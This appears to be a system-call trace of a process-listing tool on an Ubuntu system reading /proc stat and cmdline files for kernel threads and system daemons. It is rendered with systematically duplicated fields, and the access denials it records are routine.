4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"11 (watchdog/0) S 2 0 0 0 -1 692"...1024 157
4293close4 0
4293open"11/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/11/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"12/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"12 (cpuhp/0) S 2 0 0 0 -1 692388"...1024 151
4293close4 0
4293open"12/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/12/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"13/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"13 (kdevtmpfs) S 2 0 0 0 -1 2130"...1024 152
4293close4 0
4293open"13/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/13/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"14/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"14 (netns) I 2 0 0 0 -1 69238880"...1024 150
4293close4 0
4293open"14/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/14/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"15/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"15 (rcu_tasks_kthre) S 2 0 0 0 -"...1024 158
4293close4 0
4293open"15/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/15/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"16/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"16 (kauditd) S 2 0 0 0 -1 209721"...1024 150
4293close4 0
4293open"16/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/16/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"17/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"17 (khungtaskd) S 2 0 0 0 -1 212"...1024 153
4293close4 0
4293open"17/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/17/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"18/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"18 (oom_reaper) S 2 0 0 0 -1 212"...1024 153
4293close4 0
4293open"18/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/18/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"19/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"19 (writeback) I 2 0 0 0 -1 6923"...1024 154
4293close4 0
4293open"19/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/19/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"20/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"20 (kcompactd0) S 2 0 0 0 -1 209"...1024 153
4293close4 0
4293open"20/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/20/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"21/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"21 (ksmd) S 2 0 0 0 -1 2097216 0"...1024 147
4293close4 0
4293open"21/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/21/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"22/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"22 (khugepaged) S 2 0 0 0 -1 209"...1024 154
4293close4 0
4293open"22/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/22/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"23/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"23 (crypto) I 2 0 0 0 -1 6923888"...1024 151
4293close4 0
4293open"23/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/23/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"24/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"24 (kintegrityd) I 2 0 0 0 -1 69"...1024 156
4293close4 0
4293open"24/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/24/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"25/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"25 (kblockd) I 2 0 0 0 -1 692388"...1024 152
4293close4 0
4293open"25/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/25/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"26/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"26 (ata_sff) I 2 0 0 0 -1 692388"...1024 153
4293close4 0
4293open"26/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/26/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"27/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"27 (md) I 2 0 0 0 -1 69238880 0 "...1024 148
4293close4 0
4293open"27/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/27/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"28/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"28 (edac-poller) I 2 0 0 0 -1 69"...1024 157
4293close4 0
4293open"28/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/28/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"29/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"29 (devfreq_wq) I 2 0 0 0 -1 692"...1024 156
4293close4 0
4293open"29/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/29/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"30/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"30 (watchdogd) I 2 0 0 0 -1 6923"...1024 155
4293close4 0
4293open"30/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/30/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"34/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"34 (kswapd0) S 2 0 0 0 -1 106189"...1024 155
4293close4 0
4293open"34/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/34/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"35/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"35 (ecryptfs-kthrea) S 2 0 0 0 -"...1024 160
4293close4 0
4293open"35/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/35/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"77/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"77 (kthrotld) I 2 0 0 0 -1 69238"...1024 155
4293close4 0
4293open"77/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/77/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"78/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"78 (acpi_thermal_pm) I 2 0 0 0 -"...1024 162
4293close4 0
4293open"78/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/78/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"79/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"79 (scsi_eh_0) S 2 0 0 0 -1 2129"...1024 154
4293close4 0
4293open"79/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/79/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"80/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"80 (scsi_tmf_0) I 2 0 0 0 -1 692"...1024 157
4293close4 0
4293open"80/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/80/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"81/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"81 (scsi_eh_1) S 2 0 0 0 -1 2129"...1024 154
4293close4 0
4293open"81/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/81/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"82/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"82 (scsi_tmf_1) I 2 0 0 0 -1 692"...1024 157
4293close4 0
4293open"82/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/82/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"88/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"88 (ipv6_addrconf) I 2 0 0 0 -1 "...1024 160
4293close4 0
4293open"88/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/88/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"97/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"97 (kstrp) I 2 0 0 0 -1 69238880"...1024 152
4293close4 0
4293open"97/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/97/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"115/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"115 (charger_manager) I 2 0 0 0 "...1024 163
4293close4 0
4293open"115/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/115/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"153/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"153 (kworker/0:1H) I 2 0 0 0 -1 "...1024 161
4293close4 0
4293open"153/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/153/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"155/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"155 (ttm_swap) I 2 0 0 0 -1 6923"...1024 156
4293close4 0
4293open"155/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/155/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"177/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"177 (jbd2/vda1-8) S 2 0 0 0 -1 2"...1024 160
4293close4 0
4293open"177/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/177/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"178/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"178 (ext4-rsv-conver) I 2 0 0 0 "...1024 163
4293close4 0
4293open"178/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/178/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"210/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"210 (systemd-journal) S 1 210 21"...1024 179
4293close4 0
4293open"210/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/lib/systemd/systemd-journald\0"1024 30
4293read4""1024 0
4293close4 0
4293stat"/proc/210/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"247/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"247 (systemd-udevd) S 1 247 247 "...1024 184
4293close4 0
4293open"247/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/lib/systemd/systemd-udevd\0"1024 27
4293read4""1024 0
4293close4 0
4293stat"/proc/247/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"374/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"374 (systemd-timesyn) S 1 374 37"...1024 174
4293close4 0
4293open"374/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/lib/systemd/systemd-timesyncd\0"1024 31
4293read4""1024 0
4293close4 0
4293stat"/proc/374/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"640/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"640 (systemd-logind) S 1 640 640"...1024 170
4293close4 0
4293open"640/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/lib/systemd/systemd-logind\0"1024 28
4293read4""1024 0
4293close4 0
4293stat"/proc/640/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"647/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"647 (cron) S 1 647 647 0 -1 1077"...1024 167
4293close4 0
4293open"647/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/sbin/cron\0-f\0"1024 18
4293read4""1024 0
4293close4 0
4293stat"/proc/647/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"650/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"650 (avahi-daemon) S 1 650 650 0"...1024 174
4293close4 0
4293open"650/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"avahi-daemon: running [ubuntu.lo"...1024 36
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/650/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"651/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"651 (cupsd) S 1 651 651 0 -1 419"...1024 167
4293close4 0
4293open"651/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/sbin/cupsd\0-l\0"1024 19
4293read4""1024 0
4293close4 0
4293stat"/proc/651/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"656/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"656 (avahi-daemon) S 650 650 650"...1024 166
4293close4 0
4293open"656/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"avahi-daemon: chroot helper"1024 27
4293read4""1024 0
4293read4""1024 0
4293close4 0
4293stat"/proc/656/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"661/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"661 (snapd) S 1 661 661 0 -1 107"...1024 176
4293close4 0
4293open"661/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/snapd/snapd\0"1024 21
4293read4""1024 0
4293close4 0
4293stat"/proc/661/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"665/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"665 (dbus-daemon) S 1 665 665 0 "...1024 175
4293close4 0
4293open"665/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/bin/dbus-daemon\0--system\0--"...1024 91
4293read4""1024 0
4293close4 0
4293stat"/proc/665/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"682/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"682 (cups-browsed) S 1 682 682 0"...1024 174
4293close4 0
4293open"682/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/sbin/cups-browsed\0"1024 23
4293read4""1024 0
4293close4 0
4293stat"/proc/682/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"683/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"683 (NetworkManager) S 1 683 683"...1024 187
4293close4 0
4293open"683/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/sbin/NetworkManager\0--no-da"...1024 37
4293read4""1024 0
4293close4 0
4293stat"/proc/683/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"684/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"684 (accounts-daemon) S 1 684 68"...1024 183
4293close4 0
4293open"684/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/accountsservice/account"...1024 41
4293read4""1024 0
4293close4 0
4293stat"/proc/684/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"685/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"685 (acpid) S 1 685 685 0 -1 419"...1024 161
4293close4 0
4293open"685/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/sbin/acpid\0"1024 16
4293read4""1024 0
4293close4 0
4293stat"/proc/685/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"686/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"686 (rsyslogd) S 1 686 686 0 -1 "...1024 175
4293close4 0
4293open"686/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/sbin/rsyslogd\0-n\0"1024 22
4293read4""1024 0
4293close4 0
4293stat"/proc/686/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"733/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"733 (lightdm) S 1 733 733 0 -1 4"...1024 173
4293close4 0
4293open"733/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/sbin/lightdm\0"1024 18
4293read4""1024 0
4293close4 0
4293stat"/proc/733/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"740/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"740 (polkitd) S 1 740 740 0 -1 4"...1024 169
4293close4 0
4293open"740/cmdline"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"/usr/lib/policykit-1/polkitd\0--n"...1024 40
4293read4""1024 0
4293close4 0
4293stat"/proc/740/exe"0x7ffce1bd1230) = -1 EACCES (Permission denied -1 EACCES (Permission denied)
4293open"773/stat"O_RDONLY 4
4293fstat4{st_mode=S_IFREG|0444, {st_mode=S_IFREG|0444, st_size=0, st_size=0, ...}...} 0
4293read4"773 (Xorg) S 733 773 773 1031 77"...1024 196
4293close4 0
